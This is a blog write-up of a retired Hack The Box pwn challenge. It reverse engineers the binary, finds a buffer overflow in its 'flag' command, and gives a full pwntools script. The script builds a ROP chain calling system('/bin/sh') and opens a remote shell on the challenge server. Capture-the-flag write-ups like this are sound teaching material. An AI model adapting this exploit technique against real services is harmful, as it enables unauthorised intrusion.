HTB - HTB Console [Pwn]

Massimiliano Pellizzer
4 min readMay 31, 2021

HTB Console is a retired pwn challenge of Hack The Box.

General Considerations

The first thing I did was to get some details about the given executable file:

General Information

It is possible to notice that the executable is a 64 bit ELF file, having only the following security mitigations:

Then I analyzed the file statically by using Ghidra.

Reverse Engineering

The main function does some stuff calling a function (including setting an alarm), then, in a while(true) loop, it takes a string up to 16 bytes as input and it calls a function passing the user input as argument.

Main Function

The function FUN_00401201 is where I found the most interesting things.

The function FUN_00401201 executes a sort of “switch case”, based on the user input, in which the most relevant choices are:

  • “hof”, that allows you to write 16 bytes in the .bss section of the memory
Switch Case 1
  • “flag”, that allows you to write 48 bytes inside a 16 bytes buffer (ops!)
Switch Case 2
  • “date”, that makes a call to the system libc function
Switch Case 3

It is clear that the exploit will leverage the buffer overflow in the “flag” case.

Exploitation: General Idea

The general idea to exploit the program was to:

1 - Write the string “/bin/sh\x00” inside the .bss, in particular in the address 0x004040b0

2 - Take control of the RIP by leveraging the buffer overflow identified previously, making the program jump to a gadget like:

pop rdi, ret; 

3 - Put the address 0x004040b0 on the stack in order to pop it inside rdi by using the gadget previously mentioned

4 - Make the gadget return to the function call to system (address 0x00401381), therefore making the program execute:

system("/bin/sh");

5 - Get a shell

The rop chain therefore was something like:

Stack Representation

Exploitation: Implementation

In order to implement the idea explained above, the first thing I did was to find the right padding that allowed me to take control of the RIP. I did this step by leveraging Cyclic:

Cyclic

It is possible to see that the padding needed was 24.

The second and last thing I needed to do was to find a useful gadget. In order to do that I used ROPgadget, and I found the perfect gadget:

ROPgadget

Therefore, I was able to write the following script, that allowed me to exploit the binary:

#!/bin/python3from pwn import *HOST = <ip_address>
PORT = <port>
#Connect to the remote server
r = remote(HOST, PORT)
#Define the address of the gadget
pop_rdi = 0x0401473
#Write "/bin/sh\x00" inside the .bss
r.recvuntil('>> ')
r.sendline('hof')
payload = b'/bin/sh'.ljust(16, b'\x00')r.recvuntil('Enter your name: ')
r.sendline(payload)
#Exploit the buffer overflow
r.recvuntil('>> ')
r.sendline('flag')
payload = b'\x90'*24
payload += p64(pop_rdi)
payload += p64(0x004040b0)
payload += p64(0x00401381)
r.recvuntil('Enter flag: ')
r.sendline(payload)
r.interactive()

Once the script executed, I was able to obtain a shell attached to the remote server and therefore I was able to extract the flag:

Remote Shell

Pwned!

--

--

Massimiliano Pellizzer

My journey starts with a passion for cybersecurity and has evolved into an interest in operating systems and system-level programming.